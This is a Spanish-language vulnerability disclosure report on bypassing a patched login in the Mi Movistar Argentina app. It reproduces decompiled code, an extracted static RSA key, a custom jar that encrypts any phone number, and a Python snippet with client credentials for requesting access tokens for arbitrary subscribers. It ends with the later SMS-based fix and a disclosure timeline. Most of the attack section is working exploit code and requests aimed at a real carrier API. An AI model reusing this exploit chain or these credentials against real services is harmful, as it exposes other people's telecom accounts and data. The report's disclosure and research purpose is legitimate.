Disponible aqui.
Luego de ser reportado el error, Movistar inhabilitó los endpoints dela API vulnerables, para luego modificar el método de autenticación de la aplicación.
En su nueva versión, el numero de telefono del cliente es encriptado y luego codificado, para evitar que sea inyectado de forma directa en un request, tal como se venía haciendo.
Sin embargo, la clave se encriptación está incluida en la aplicación, y resulta ser estática en lugar de ser derivada de algún dato del usuario. En el siguiente informe se explica cómo se extrajo dicha clave, y como se pudo usar para volver a utilizar la primera versión del exploit publicado.
Luego de decompilar el APK con jadx, se encontro que el codigo encargado de encriptar y codificar el numero telefónico es el siguiente:
public MiMovistarDeviceToken getAccessToken(String msisdn) throws NoInetException, WsCallException {
if (msisdn.startsWith("54")) {
msisdn = msisdn.substring(2);
}
MiMovistarDeviceToken accessToken = (MiMovistarDeviceToken) this.mAccessTokensByMsisdn.get(msisdn);
if (accessToken == null || accessToken.isExpired()) {
String aa = DeviceUtils.ed3();
String bb = DeviceUtils.ed8();
String str2 = "";
String stringToConvert = "";
try {
byte[] keyBytes = new byte[0];
PublicKey key = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(aa.getBytes("utf-8"))));
Cipher cipher = Cipher.getInstance("RSA/None/PKCS1Padding");
cipher.init(1, key);
if (msisdn.startsWith("54")) {
msisdn = msisdn.substring(2);
}
byte[] encryptedText = cipher.doFinal(msisdn.getBytes());
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[(encryptedText.length * 2)];
for (int j = 0; j < encryptedText.length; j++) {
int v = encryptedText[j] & 255;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[(j * 2) + 1] = hexArray[v & 15];
}
str2 = new String(hexChars);
} catch (Exception e) {
e.printStackTrace();
}
String urlString2 = "https://mi.movistar.com.ar/v2/oauth/token";
String body = "username=" + str2 + "&grant_type=mobile";
if (msisdn.startsWith("54")) {
msisdn = msisdn.substring(2);
}
if (true) {
accessToken = (MiMovistarDeviceToken) new Builder(MiMovistarDeviceToken.class).setUrl(urlString2).setBody(body).setAuthorization(bb).setRetryPolicy(new ParametrizedRetryPolicy("/oauth/token", 2500, 2, 2)).setQueue(Queue.MiMovistarGetData).addHeader("Content-Type", "application/x-www-form-urlencoded").build().execute();
} else {
Builder builder = new Builder(MiMovistarDeviceToken.class).addParameter("grant_type", "mobile").addParameter("username", msisdn).setRetryPolicy(new ParametrizedRetryPolicy("/oauth/token", 2500, 3, 2)).setQueue(Queue.MiMovistarGetData).addHeader("Content-Type", "application/x-www-form-urlencoded");
Logger.log(this, builder.build().Authorization());
accessToken = (MiMovistarDeviceToken) builder.build().execute();
}
accessToken.registerGotNow();
this.mAccessTokensByMsisdn.put(msisdn, accessToken);
}
return accessToken;
}
Podemos observar que la clave privada se encuentra en la variable aa
, la cual contiene lo retornado por DeviceUtils.ed3()
. A continuación, se encuentran las funciones necesarias para poder obtener la clave:
public class DeviceUtils {
public static native String get();
public static native String get3();
static {
System.loadLibrary("native-lib");
}
public static String ed8() {
return get3();
}
public static String ed3() {
return new String(Base64.decode(get(), 0));
}
}
Podemos ver que la función que nos interesa, get()
, se encuentra en una librería nativa de Java compilada para ser ejecutada en android. En el siguiente extracto se encuentra el código assembler de dicha función:
00000bb0 <Java_com_services_movistar_ar_app_util_DeviceUtils_get@@Base>:
bb0: 53 push ebx
bb1: 83 ec 08 sub esp,0x8
bb4: e8 00 00 00 00 call bb9 <Java_com_services_movistar_ar_app_util_DeviceUtils_get@@Base+0x9>
bb9: 5b pop ebx
bba: 81 c3 13 24 00 00 add ebx,0x2413
bc0: 8b 44 24 10 mov eax,DWORD PTR [esp+0x10]
bc4: 8b 08 mov ecx,DWORD PTR [eax]
bc6: 8d 93 dd e0 ff ff lea edx,[ebx-0x1f23]
bcc: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
bd0: 89 04 24 mov DWORD PTR [esp],eax
bd3: ff 91 9c 02 00 00 call DWORD PTR [ecx+0x29c]
bd9: 83 c4 08 add esp,0x8
bdc: 5b pop ebx
bdd: c3 ret
bde: 66 90 xchg ax,ax
En lugar de hacer un análisis estático de la librería nativa, se optó por crear una aplicación para Android tonta, cuya única función sea llamar a la librería nativa, e imprimir por logcat el valor de la clave ya calculada.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.w("MOVISTAR", DeviceUtils.ed3());
}
}
Ejecutando la aplicación en un emulador, obtendremos en la salida logcat de Android Studio el valor de la clave privada:
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxGAaQIqdeJNlgqqVyMWz1yEg3a7aEPeXcxhA1/q8U4vxQxZwJ07lKGiDZdrAZ9YYqUZ3wfN5ZbjPpji0RYcyPhTrR5OQzi0IySsxzEd1DANHyCGEmogCi3tSU/vZ9YSuA/BL2OtyI75jBe7pe5U3K8lYuYLRC2SFtd7g34Y5vUOIjlQ7Xtm/C8Q/ZZhYKjgavAowNhpdJba2Hi11qmcpSpwbj6dAsX6w1coCzXE/0AM2j62K7Cmr/I9+NJ/WC+DM4EqU+WkbolBtzK6f84et0ElwRQGlcDWrHLjsimUUM2Vk6TREU2TZsDYUsxEBC/NhM5Z0mlWiAm8AZED6yvD1wwIDAQAB
El código de la aplicación desarrollada se encuentra en la carpeta Android_Application. El código de la librería nativa se encuentra en la carpeta movistar_lib.
Dado que ya contamos con el código decompilado que realiza la encriptación y la codificación del número telefónico, resultó más fácil crear un .jar
ejecutable con la clave obtenida, y que su única función sea recibir por argumento el número, para imprimir por stdout el valor encriptado y codificado, listo para ser inyectado en el cuerpo del request.
public class Main {
private static final String KEY = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxGAaQIqdeJNlgqqVyMWz1yEg3a7aEPeXcxhA1/q8U4vxQxZwJ07lKGiDZdrAZ9YYqUZ3wfN5ZbjPpji0RYcyPhTrR5OQzi0IySsxzEd1DANHyCGEmogCi3tSU/vZ9YSuA/BL2OtyI75jBe7pe5U3K8lYuYLRC2SFtd7g34Y5vUOIjlQ7Xtm/C8Q/ZZhYKjgavAowNhpdJba2Hi11qmcpSpwbj6dAsX6w1coCzXE/0AM2j62K7Cmr/I9+NJ/WC+DM4EqU+WkbolBtzK6f84et0ElwRQGlcDWrHLjsimUUM2Vk6TREU2TZsDYUsxEBC/NhM5Z0mlWiAm8AZED6yvD1wwIDAQAB";
public static void main(String[] args) {
String number = args[0];
if (number.startsWith("54")) {
number = number.substring(2);
}
String str2 = "";
try {
PublicKey key = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(KEY.getBytes("utf-8"))));
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(1, key);
if (number.startsWith("54")) {
number = number.substring(2);
}
byte[] encryptedText = cipher.doFinal(number.getBytes());
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[(encryptedText.length * 2)];
for (int j = 0; j < encryptedText.length; j++) {
int v = encryptedText[j] & 255;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[(j * 2) + 1] = hexArray[v & 15];
}
str2 = new String(hexChars);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(str2);
}
}
Luego, solo es necesario ejecutar el siguiente comando para encriptar un número telefónico a lo que espera la API de Movistar:
java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar 1199999999
El código de esta aplicación se encuentra en la carpeta Movistar_Exploit~V2.
Finalmente, solo se debieron modificar los scripts de Python para que invoquen al .jar
generado con el número proveído por el usuario, y usen en su lugar la cadena devuelta.
De esta manera, se pudo reusar todo lo ya existente.
encoded_number = subprocess.getoutput(
"java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar %s" % numero)
data = {
"grant_type": "mobile",
"username": encoded_number,
"client_id": "appcontainer",
"client_secret": "YXBwY29udGFpbmVy"
}
Estos fueron los únicos cambios realizados para poder explotar la vulnerabilidad nuevamente. Gran parte del trabajo fue para extraer la clave privada disponible lineas arriba.
Nota
: Para ejecutar esta nueva versión del exploit, se requiere tener Java instalado y disponible en el $PATH
del usuario.
Hay incontables artículos sobre ofuscación de datos en aplicaciones móviles, y por que es una mala idea hacerlo.
Luego de los reportes enviados, Movistar procedió a reescribir el proceso de autenticación utilizando los datos provistos por el usuario para derivar el token de autenticación. De esta manera, se encuentra mitigado el error reportado. A continuación se detalla el nuevo proceso:
En primer lugar el cliente envía un request conteniendo el número de teléfono del usuario, pidiendo que se le envíe un SMS con un código que luego deberá ingresar.
POST /acm/movistar/time/v1/authorize?msisdn=541112345678 HTTP/1.1
Host: container.movistar.acrons.net
Accept: */*
Cookie: PHPSESSID=f...
Content-Length: 0
Accept-Language: en-AR;q=1, es-419;q=0.9
Connection: close
User-Agent: MiMovistar2/1 (...)
Como respuesta, los servicios web de Movistar devuelven el siguiente mensaje:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: ...
ETag: W/"105-LpK0bDGi1kzWjZ6gqfhXCw"
Date: Thu, 02 Mar 2017 02:25:06 GMT
Connection: close
{"pin_status":"sent","pin_retries":3,"acm_session":"mz6zcx..."}
Aquí podemos ver que el código enviado al celular del usuario se encuentra relacionado con una sesión referida por el identificador acm_session
.
Como paso siguiente, el usuario procede a "validar" su sesión al enviar el acm_session
junto con el código que le fue enviado por SMS:
GET /acm/movistar/time/v1/authorize?acm_session=mz6zcx...&pin=12345 HTTP/1.1
Host: container.movistar.acrons.net
Accept: */*
Cookie: PHPSESSID=f...
Connection: close
Accept-Language: en-AR;q=1, es-419;q=0.9
User-Agent: MiMovistar2/1 (...)
En caso de haberse autenticado de forma satisfactoria, el servidor nos responderá con un identificador unico, el cual sera almacenado en el dispositivo del usuario, y que sera usado para obtener los tokens que se requieren para consultar las APIs de Movistar.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: ...
Date: Thu, 02 Mar 2017 02:25:20 GMT
Connection: close
{"acmID":"5xPG6uai...","pin_status":"verify_ok"}
Finalmente, la aplicación utilizará el acmID
en cada ocasión que necesite generar un nuevo token de acceso, pidiendolo de la siguiente manera:
POST /acm/movistar/mi/v2/oauth/token HTTP/1.1
Host: container.movistar.acrons.net
Authorization: Basic QXBwI0NsMHVEOkxSTGdzMzQzMnkzOVdyOTU=
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-AR;q=1, es-419;q=0.9
Cookie: PHPSESSID=f...
Content-Length: ...
Connection: close
User-Agent: MiMovistar2/1 (...)
acmID=5xPG6uai...
En caso de ser válido el acmID
, el servidor nos responderá con un token válido:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://container.movistar.acrons.net
Content-Length: 533
ETag: W/"215-j3+qbG6KMOIH0/oDXxdGgQ"
Date: Thu, 02 Mar 2017 02:25:23 GMT
Connection: close
{"access_token":"eyJhbGci...","token_type":"bearer","expires_in":86400,"scope":"read trust write","jti":"..."}
Si bien el acmID
no expira (por lo que se pudo observar), el access_token
tiene un tiempo de expiración de 24hs, lo que reduce el riesgo de daño en caso de ser expuesto o interceptado.
Dado que en el mecanismo implementado se debe validar la sesión utilizando el código recibido por SMS, el token sólo puede ser generado por aquel que controle la línea, por lo que la vulnerabilidad reportada se encuentra mitigada.
- 03/01/2017: Se volvió a vulnerar la aplicación. Se procede a reportar la nueva vulnerabilidad a Movistar.
- 01/03/2017: Actualizado con detalle de mitigación.
- 03/04/2017: Habiendo pasado 90 dias desde el primer reporte, se procede a publicar el informe.